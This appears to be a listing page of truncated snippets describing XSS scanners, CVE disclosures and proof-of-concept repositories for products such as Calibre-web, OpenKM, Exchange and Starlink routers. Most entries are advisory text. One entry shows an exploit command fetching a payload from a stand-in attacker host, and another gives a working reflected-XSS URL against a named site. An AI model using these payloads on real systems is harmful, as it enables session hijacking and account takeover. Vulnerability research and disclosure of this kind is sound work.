XSS-Scanner

XSS扫描器 跨站脚本（XSS）是最著名的 Web 应用程序漏洞之一。它在 OWASP Top 10 项目中甚至有一个专门的章节，也是漏洞赏金计划中备受追捧的漏洞。 该扫描器从用户处获取一个链接，并通过在输入位置注入恶意脚本来扫描网站是否存在 XSS 漏洞。注入操作在一个名为 Chromium 的无头浏览器中执行，并由 Puppeteer 自动化控制。 它分两步工作： 1. 查找目标：在第一步中，工具尝试识别页面上所有可能的位置，包括表单中的可注入参数、URL、标头等。 2. 测试 XSS：对于上一步发现的每个位置，扫描器将尝试检测参数是否容易受到跨站脚本攻击。工具会注入一段...

CVE-2024-39123-Exploit

CVE-2024-39123: XSS Almacenado en Calibre-web 0.6.21 Detalles del Exploit Título del Exploit : XSS Almacenado en Calibre-web Fecha : 2024-05-07 Autores del Exploit : Catalin Iovita & Alexandru Postolache Pentest-Tools.com Página del Proveedor : Repositorio de GitHub de Calibre-web Versión : 0.6.2...

tool-29489

Tool-29489 概述 🔍: 该工具用于识别存在 CVE-2023-29489 漏洞的 URL。 该工具使用 payload 来识别该漏洞。 tool-29489 的帮助菜单： python main.py help URL inputfile outputfile -h 或 --help : 显示帮助选项。 -u 或 --url : 输入要检查的 URL。 -i 或 --input : 提供输入文件。 -o 或 --output : 提供输出文件。 关于 CVE-2023-29489 🔍: CVE 描述：- 在 cPanel 11.109.9999.116...

CVE-2026-37750

CVE-2026-37750 — 学校管理系统 1.0 - 反射型 XSS 详细信息 字段| 信息 ---|--- CVE ID| CVE-2026-37750 类型| 反射型跨站脚本（XSS） 严重性| 中危（CVSSv3：6.1） 厂商| mahmoudai1 产品| 学校管理系统 版本| 1.0 发现者| Varad AP Mene 日期| 2026-04-16 CWE| CWE-79 描述 mahmoudai1 开发的学校管理系统 1.0 中存在一个反射型跨站脚本（XSS）漏洞，允许未经身份验证的远程攻击者通过 register.php 中未经过滤的 type...

CVE-2026-30503-OpenKM-6.3.12-Stored-XSS

🛡️ CVE-2026-30503 — OpenKM v6.3.12 中的存储型 XSS 漏洞 由Dharmendra Kumar 发现并报告 — 安全研究员 网络安全 | 渗透测试 | 漏洞研究 | 负责任披露 📌 目录 概述 CVE 详情 受影响的产品 漏洞描述 根本原因分析 影响与风险评估 概念验证 PoC 修复建议与推荐措施 披露时间线 参考资料 关于研究员...

CVE-2025-31864

CVE-2025-31864 1️⃣ Tipo de componente Plugin de WordPress 2️⃣ Detalles del componente Nombre del componente Beam me up Scotty – Back to Top Button Versión vulnerable = 1.0.23 Slug del componente beam-me-up-scotty Enlace del componente https://wordpress.org/plugins/beam-me-up-scotty/ 3️⃣ OWASP 2017:...

XSSight

警告： 此页面仅用于教育目的，使用本工具的任何恶意行为都将受到法律制裁！ XSSight 跨站脚本攻击 XSS 跨站脚本攻击（XSS）是一种攻击技术，涉及将攻击者提供的代码注入到用户的浏览器实例中。浏览器实例可以是标准的Web浏览器客户端，也可以是嵌入软件产品中的浏览器对象，例如WinAmp中的浏览器、RSS阅读器或电子邮件客户端。代码本身通常用HTML/JavaScript编写，但也可能扩展到VBScript、ActiveX、Java、Flash或任何其他浏览器支持的技术。...

CVE-2023-43360-CMSmadesimple-Stored-XSS---File-Picker-extension

CMSmadesimple 存储型XSS漏洞 v2.2.18 作者：Sergio 描述： CMSmadesimple v.2.2.18 中存在跨站脚本漏洞，本地攻击者可通过文件选择器菜单中的顶部目录字段注入恶意脚本，从而执行任意代码。 攻击向量： 脚本注入漏洞。文件选择器菜单中“顶部目录”字段的输入过滤不严，允许注入JavaScript代码，当用户访问网页时该代码将被执行。 漏洞利用演示（POC）： 登录后台后，我们进入常规菜单下的“文件选择器扩展 - 顶部目录”部分。 编辑我们已创建的顶部目录菜单，可以看到可以在全局元数据字段中注入任意JavaScript代码。 XSS Payload...

CVE-2026-30695

CVE-2026-30695 - Zucchetti Axess 中的 XSS 漏洞 概述 Zucchetti Axess 门禁控制设备（XA4、X3/X3BIO、X4、X7、XIO、i-door、i-door+）的基于 Web 的配置界面中存在跨站脚本（XSS）漏洞。 该漏洞是由于 /filemanager.cgi 端点中的 dirBrowse 参数对用户提供的输入未进行适当的清理所致。经过身份验证的攻击者可以注入任意 JavaScript 代码，这些代码会在管理用户的上下文中执行。 成功利用该漏洞可能导致会话劫持、未经授权的配置更改以及敏感信息泄露。 受影响版本 XIO h06...

CVE-2021-41349

Microsoft Exchange 漏洞利用 CVE-2021-41349 利用：CVE-2021-41349 此利用工具会创建一个表单，用于向目标 Exchange 服务器提交 XSS 载荷。 你需要创建一个包含你所需操作的 js 文件。 使用方法 1. 创建你的 js 载荷，并将其上传到某个位置。 2. 按照以下步骤运行 CVE-2021-41349.py。 root@kitploit: python3 CVE-2021-41349.py "https://mail.target.com" "https://hacker.server/payload.js" out.html 或者...

CVE-2021-45416

Docker RosarioSIS 安装 最低要求：Docker 及可用的 Git。 你可以从 DockerHub 拉取镜像，或者： 1. 启动 docker root@kitploit: $ git clone https://github.com/dnr6419/CVE-2021-45416.git $ cd CVE-2021-45416 $ docker-compose up -d 2. 访问该 URL 并安装数据库 root@kitploit: http://YOURIP:80/InstallDatabase.php 3. 然后，前往...

CVE-disclosures

CVE-2026-3171 与 CVE-2026-3170 – Archana M 由 Archana M 发布的官方漏洞披露。 🔹 CVE-2026-3171 产品： SourceCodester / Patrick Mvuma 患者候诊区排队管理系统 1.0 漏洞类型： 跨站脚本（CWE-79） 受影响文件： /queue.php 攻击向量： 远程 用户交互： 需要 CVSS v3.1： 3.5（AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N） 状态： 已公开披露 描述 对用户输入（firstname / lastname）的中和不当，导致跨站脚本（XSS）漏...

CVE-2026-10289-XSS

Sistema de Reservas de Hotel y Turismo - Cross-Site Scripting XSS Almacenado Detalles de la Vulnerabilidad...

CVE-2025-68461

CVE-2025-68461 扫描器 一个用于检测 Roundcube Webmail 安装中跨站脚本 XSS 漏洞的 C++ 安全扫描工具。 影响 未经授权访问用户账户 会话劫持 数据泄露 以用户身份执行未授权操作 受影响版本 扫描器检查以下存在漏洞的版本： 1.5.x 系列： 1.5.0 至 1.5.11 1.6.x 系列： 1.6.0 至 1.6.11 缓解措施 升级到： Roundcube Webmail 1.5.12 或更高版本（适用于 1.5.x） Roundcube Webmail 1.6.12 或更高版本（适用于 1.6.x） ✨ 特性 自动检测 Roundcube...

CVE-2023-48858

CVE-2023-48858 CVE-2023-48858 的 PoC Armex ABO.CMS 5.9 登录页面 PHP 代码中存在跨站脚本（XSS）漏洞，远程攻击者可通过 login.php? URL 部分注入任意 Web 脚本或 HTML。 概念验证： http://demo.abocms.ru/login.php/eqbzm%22%3E%3Cimg%20src%3d/%20onerror%3dalert%281%29%3Er338y 这并非特指“演示”版本的漏洞， 已在真实暴露于网络的网站上得到确认 此处使用的演示链接仅用于表明该漏洞仍然存在 漏洞类型： 跨站脚本（XSS）...

CVE-2024-56289

CVE-2024-56289 1️⃣ 组件类型 WordPress 插件 2️⃣ 组件详情 组件名称 WordPress CRM、电子邮件与营销自动化插件 | 获奖作品 — Groundhogg 受影响版本 由于该插件使用 REST API，固定链接必须设置为“文章名”。 2. 随后，访问以下各菜单的链接将触发反射型 XSS 漏洞。 联系人菜单（/wp-admin/admin.php?page=ghcontacts） root@kitploit:...

CVE-2024-4367-Analysis

CVE-2024-4367: Ejecución Arbitraria de JavaScript en PDF.js Descripción general CVE-2024-4367 es una vulnerabilidad crítica en la librería PDF.js que permite la ejecución arbitraria de JavaScript en el navegador del usuario, lo que conduce a ataques de Cross-Site Scripting XSS. Esto afecta a...

CVE-2019-1218

CVE-2019-1218 Vulnerabilidad de suplantación de identidad en Outlook para iOS Descubrí XSS en la aplicación móvil Outlook para iOS. Una vulnerabilidad grave en Microsoft Outlook para iOS que podría permitir a un atacante tomar el control del dispositivo de la víctima. El problema de seguridad...

Web-Security-Learning

Web-Security-Learning 项目地址： https://github.com/CHYbeta/Web-Security-Learning 知识星球【漏洞攻防】：https://t.zsxq.com/mm2zBeq 目录： Web-Security-Learning Web Security sql注入 MySql MSSQL PostgreSQL MongoDB 技巧 工具 XSS CSRF 其他前端安全 SSRF XXE JSONP注入 SSTI 代码执行 / 命令执行 文件包含 文件上传 / 解析漏洞 逻辑漏洞 未授权访问/信息泄露 redis RPOrelative...

SpaceX-Starlink-Router-Gen-2-XSS

SpaceX / Starlink Router Gen 2 XSS CVE-2023-49965 你可以在此处查看韩文版本： https://hackintoanetwork.com/blog/2023-starlink-router-gen2-xss-kor TL;DR 第二代路由器的初始强制门户页面存在跨站脚本（XSS）漏洞，攻击者可能利用该漏洞控制路由器和Dishy。 基础知识 产品： Starlink 路由器 Gen 2 测试版本： 2022.32.0（修复版本为 2023.48.0 及更高版本） 漏洞类型： XSS（跨站脚本） 漏洞概述...